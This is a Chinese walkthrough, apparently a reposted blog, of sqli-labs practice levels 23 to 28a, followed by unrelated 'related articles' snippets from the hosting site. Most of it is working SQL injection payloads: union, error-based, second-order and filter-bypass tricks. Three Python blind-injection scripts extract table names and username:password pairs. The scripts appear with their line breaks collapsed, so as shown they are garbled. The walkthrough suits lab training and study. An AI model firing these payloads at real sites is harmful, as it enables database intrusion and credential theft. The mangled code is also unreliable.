sqli.labs靶场(23关到28a关)

23、第二十三关

id=1'单引号闭合

找位置1' and 1=2 union select 1,2,3'

爆库:1' and 1=2 union select 1,2,database()'

爆表名:1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

爆字段:1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' '

爆数据:1' and 1=2 union select 1,2,group_concat(username,':',password) from users where '1'='1

24、第二十四关

我们先注册一个账号admin'#,密码设为123

然后登录进去,有个重置密码:

输入当前密码123,新密码111,然后点Reset

然后我们用新密码登录试试

发现修改后的密码111没法登录admin'#账号,还得用原来密码登录

用新密码111登录admin账号试试

发现可以登陆成功,我们刚才改的用该是admin的密码

这个应该就是传说中的二次注入吧

修改密码是应该是没转移用户名导致的,修改语句应该是下面这样,$username里特殊字符没转译

update users set password='$password' where username='$username'

25:、第二十五关

这关是单引号闭合,提示过滤了and,or,那就只能用其他代替比如like

like绕过:1'like 1=2 like extractvalue(1,concat(0x7e,database(),0x7e))--+

双写绕过:1' anandd 1=2 like extractvalue(1,concat(0x7e,database(),0x7e))--+

anand 或oorr这样

25a、第二十五a关

这关提示大写的OR和AND过滤了

这个id是数值型的,也可以用双写绕过

100%20anandd%201=1%20union%20select%201,2,3#

爆库:

and双写:100 anandd 1=1 union select 1,2,database()#

or双写:100 oorr 1=0 union select 1,2,database()#

like绕过:100 like 1=2 union select 1,2,database()#

100 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' #

infoorrmation_schema里面包含or也可以双写绕过

26、第二十六关

这关是单引号闭合,提示过滤空格

这关and和or过滤了,空格也过滤了,可以用||替换or,%26替换and用报错注入

POC:1'%26extractvalue(1,concat(0x7e,database(),0x7e))%261='1

POC:1'||extractvalue(1,concat(0x7e,database(),0x7e))||1='1

POC:1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e))||1='1

26a、第二十六a关

这关和26管类似,但是以单引号加括号闭合

id=1')%26('1')=('1

无法使用报错注入,只能用盲注

爆库POC:1')%26(substr(database(),1,1)='s')%26('1')=('1

爆表名POC:

1')%26(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e')%26('1')=('1

上脚本:

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_","UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-26a/?id=1%27)"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"%26(substr(database(),{p},1)='{a}')%26('1')=('1"res = requests.get(url_db)if "Dumb" in res.text:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"%26(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='{database}')),{p},1)='{a}')%26('1')=('1"num += 1res = requests.get(url_db)if "Dumb" in res.text:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"%26(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')%26('1')=('1"num += 1res = requests.get(url_db)if "Dumb" in res.text:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"%26(substr((select(group_concat(username,':',passwoorrd))from(users)),{p},1)='{a}')%26('1')=('1"num += 1res = requests.get(url_db)if "Dumb" in res.text:users = f"{users}{a}"print(a, end='')num = 0

27、第二十七关

直接试探1 union select 1,2,3

发现查的是id=11的值,select和union都被过滤,可以大小写绕过,尝试发现是单引号闭合

构造poc:

1'and(extractvalue(1,concat(0x7e,database(),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(column_name)) from (information_schema.columns) where (table_schema='security')and(table_name='users')),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(username,':',password)) from (users)),0x7e))) or '1'='1

27a、第二十七a关

提示双引号闭合,试探一下

没有报错信息,只能盲注

1"and(length(database())>8)and"1"="1

1"and(length(database())>7)and"1"="1

database()的长度是8

这个还是脚本爆料:

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_", "UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-27a/?id=1%22"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"and(substr(database(),{p},1)='{a}')and%221%22=%221"res = requests.get(url_db)if "Dumb" in res.text:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{p},1)='{a}')and%221%22=%221"num += 1res = requests.get(url_db)if "Dumb" in res.text:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')and%221%22=%221"num += 1res = requests.get(url_db)if "Dumb" in res.text:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:if a == "UNHEX('2D')":url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)={a})and%221%22=%221"else:url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)='{a}')and%221%22=%221"num += 1res = requests.get(url_db)if "Dumb" in res.text:if a == "UNHEX('2D')":a = '-'users = f"{users}{a}"print(a, end='')num = 0

28、第二十八关

尝试后发现也是单引号闭合,且过滤空格,没有报错信息,也需要盲注

1'and(length(database())>8)and'1'='1

1'and(length(database())>7)and'1'='1

数据库长度应该是8

盲注还得看脚本

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_", "UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-28/?id=1'"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"and(substr(database(),{p},1)='{a}')and'1'='1"res = requests.get(url_db)if "Dumb" in res.text:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{p},1)='{a}')and'1'='1"num += 1res = requests.get(url_db)if "Dumb" in res.text:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')and'1'='1"num += 1res = requests.get(url_db)if "Dumb" in res.text:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:if a == "UNHEX('2D')":url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)={a})and'1'='1"else:url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)='{a}')and'1'='1"num += 1res = requests.get(url_db)if "Dumb" in res.text:if a == "UNHEX('2D')":a = '-'users = f"{users}{a}"print(a, end='')num = 0

28a、第二十八a关

这关貌似和28关没啥区别,同样方法尝试

1'and(length(database())>7)and'1'='1

1'and(length(database())>8)and'1'='1

尝试后发现过滤了union select

看过源码后发现是单引号加括号闭合,于是构造轮子尝试union select可以双写绕过

31') unionunion select select 3,2,1 and('1')=('1

爆库:31') unionunion select select 1,database(),3 and ('1')=('1

31') unionunion select select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,3 and ('1')=('1

31') unionunion select select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

31') unionunion select select 1,(select group_concat(username,'~',password) from users),3 and ('1')=('1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/662504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

git修改密码后mac使用sourceTree出现Authentication failed错误

1、退出sourceTree 2、在钥匙串中删除git对应站点Access Key 3、执行命令:git config --system --unset credential.helper 4、重新启动sourceTree,这时会弹出输入密码框,重新输入密码即可

C/C++ C++入门

个人主页:仍有未知等待探索-CSDN博客 专题分栏:C_仍有未知等待探索的博客-CSDN博客 目录 一、C关键字 二、命名空间 1、区别 1. C语言 ​编辑 2. C 2、命名空间定义 3、命名空间的使用 三、C输入&输出 四、缺省参数 五、函数重载 六、引用 …

Nijijourney V6版本动漫图像生成模型发布

简介 这是一个最先进的AI,可以绘制任何二次元风格的绘画!这是一个由 Spellbrush 与 Midjourney 所共同设计开发的魔法般工具。无论您是在寻找可爱的Q版角色还是充满动感的动作场景,niji・journey 都能将您的想象变为现实。 功能介绍 - 增强…

第1章 简单使用 Linux

第1章 简单使用 Linux 1.1 Linux 的组成 1.2 远程连接 首先以 root 用户登录到 Linux 系统,然后在 Terminal 终端上输入 ip add 命令,来查看 IP 地址。 上图中的 192.168.72.128 就是 IP 地址。 然后打开 XShell 远程连接工具。 然后在命令提示符下输…

【Django开发】0到1开发美多商城项目第3篇:用户注册业务实现(附代码,已分享)

本系列文章md笔记(已分享)主要讨论django商城项目相关知识。项目利用Django框架开发一套前后端不分离的商城项目(4.0版本)含代码和文档。功能包括前后端不分离,方便SEO。采用Django Jinja2模板引擎 Vue.js实现前后端…

人脸识别的多样化和稀疏关注对姿势变化和遮挡具有鲁棒性

DSA-Face: Diverse and Sparse Attentions for Face Recognition Robust to Pose Variation and Occlusion 一、创新点 1.提出了成对自我对比注意力来强制模型提取不同的局部特征; 2.设计注意力稀疏性损失是为了鼓励注意力图中的稀疏反应,阻止对分散注意…

C++ Web 编程

什么是 CGI? 公共网关接口(CGI),是一套标准,定义了信息是如何在 Web 服务器和客户端脚本之间进行交换的。CGI 规范目前是由 NCSA 维护的,NCSA 定义 CGI 如下:公共网关接口(CGI&…

passband, transition band and stopband

passband, transition band and stopband 引言正文 引言 这里给大家介绍一下 passband, transition band 和 stopband 的区别。 正文 如图所示,左侧和右侧比较高的部分是 passband。中间最低的部分是 stopband。而 passband 与 stopband 的连接区域被叫做 transit…

12款神级idea插件,让你少些80%代码

日常的业务功能开发,大部分情况下,核心代码差不多只占了项目的20%,剩下的80% 基本就是一些体力活,配置项等;这80%的代码,却消耗了我们大量的时间,而这部分代码,也不会对我们带来大的…

性能测试工具之工作原理及意义

随着软件系统的不断复杂和用户需求的不断增加,对于软件性能的要求也变得越来越高。性能测试工具成为确保应用程序在各种条件下都能提供卓越性能的关键组成部分。本文将深入解析性能测试工具的工作原理,以便更好地理解这些工具在保障系统性能方面的重要性…

vue实现带缩略图的轮播图(vue-awesome-swiper)

demo 请复制打开 https://download.lllomh.com/cliect/#/product/E125504451206525 如点击链接跳转失败请复制网址到浏览器打开 1.引入swiper和vue-awesome-swiper插件 npm install swiper4 --save npm install vue-awesome-swiper3 --save2.在main.js中引入: …

什么是接口的幂等性,如何保证接口的幂等性?

✅作者简介:大家好,我是Leo哥,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo哥的博客 💞当前专栏: Java ✨特色专栏: MyS…

设备的层次结构 - 驱动程序的垂直层次结构

Windows操作系统是分层调用。其实在驱动程序中也可以是分层调用的。 驱动程序的垂直层次结构 不仅是WDM驱动,NT式驱动也可以分层,这主要是通过一个设备附加在另一个设备之上。因此,可以将WDM驱动模型看成是NT驱动模型的延伸。 设备的创建顺序…

appsmith安装手记:5.Sql server数据库容器再安装(yml)

上次安装好了sql server容器,但是appsmith创建数据源出现连接错误: [2024-01-30 00:25:52,186] userEmailttapp.com, sessionIdb99a2476-5c35-4a71-9e8e-25c9c3292cfa, threadboundedElastic-38, requestIdea262c1d-722b-4176-aac7-4b062d7066b6 - Opera…

迁移windows操作系统

最近有个朋友跟我说他电脑台卡了,我帮他大概看了下,归集原因磁盘还是机械硬盘,需要将他的电脑的磁盘的机械硬盘换一下,内存也比较小,4GB的,换一下,换成8GB的,本文只涉及到更换系统盘…

SimpleDateFormat 格式化 Date 时间戳

前言 Date 是 Java 中经常用来表示时间的类型,但将 Date 类型的数据发送给前端时,通常会呈现出乱码的状态,用户不宜理解,所以要通过 SimpleDateFormat 把 Date 类型的数据格式化为用户容易理解的格式 如下是 Date 的格式&#xff…

速过计算机二级python——第四讲:列表与字典

第四讲:列表与字典 列表定义定义索引切片 操作基本操作进阶操作 字典定义定义索引 操作基本操作进阶操作 二者转化列表->字典字典->列表 列表 定义 定义 列表是由一系列按顺序排列的元素组成,它可以包含任意的字母表中所有字母、数字或者字符。列…

clickhouse行转列的转换

1、原表select * from test 2、一个人的每个科目作为一行记录 改为一个人的所有科目作为一行记录 方式1 select name, sum(case when subject‘语文’ then score else 0 end) as chinese, sum(case when subject‘数学’ then score else 0 end) as math from test group by …

wangEditor v4的简单使用

当前文档是 wangEditor v4 版本的。 wangEditor v5 已经正式发布,可参考文档。 v5 发布之后,v4 将不再开发新功能。 介绍 English documentation wangEditor4 —— 轻量级 web 富文本编辑器,配置方便,使用简单。 官网&#…

TypeScript(十一) 类、对象

1. 类 1.1. 简介 TypeScript是面向对象的JavaScript。   类描述了所创建的对象共同的属性与方法。 1.2. 类的定义 class class_name { // 类作用域 }(1)定义类的关键字是class,后面紧跟类名,类可以包含以下几个模块&#xff…